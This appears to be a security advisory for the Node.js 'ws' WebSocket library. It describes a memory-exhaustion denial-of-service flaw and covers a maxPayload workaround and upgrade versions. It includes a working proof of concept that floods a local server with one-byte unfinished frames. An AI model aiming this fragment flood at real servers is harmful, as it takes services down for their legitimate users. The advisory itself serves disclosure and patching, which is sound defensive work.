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Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Asymmetric Resource Consumption (Amplification) when handling a large number of very small fragments and data chunks. An attacker can cause excessive memory allocation and OOM by sending a high volume of tiny WebSocket frames

Workaround

This vulnerability can be mitigated by lowering the value of the maxPayload option.

PoC

import { WebSocket, WebSocketServer } from 'ws';

const wss = new WebSocketServer({ port: 0 }, function () {
  const data = Buffer.alloc(1);
  const options = { fin: false };
  const { port } = wss.address();
  const ws = new WebSocket(`ws://localhost:${port}`);

  ws.on('open', function () {
    (function send() {
      ws.send(data, options, function (err) {
        if (err) return;
        send();
      });
    })();
  });

  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`client close - code: ${code} reason: ${reason.toString()}`);
  });
});

wss.on('connection', function (ws) {
  ws.on('error', console.error);
  ws.on('close', function (code, reason) {
    console.log(`server close - code: ${code} reason: ${reason.toString()}`);
  });
});

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

• High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

• Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

Remediation

Upgrade ws to version 5.2.5, 6.2.4, 7.5.11, 8.21.0 or higher.

References

• GitHub Advisory
• GitHub Commit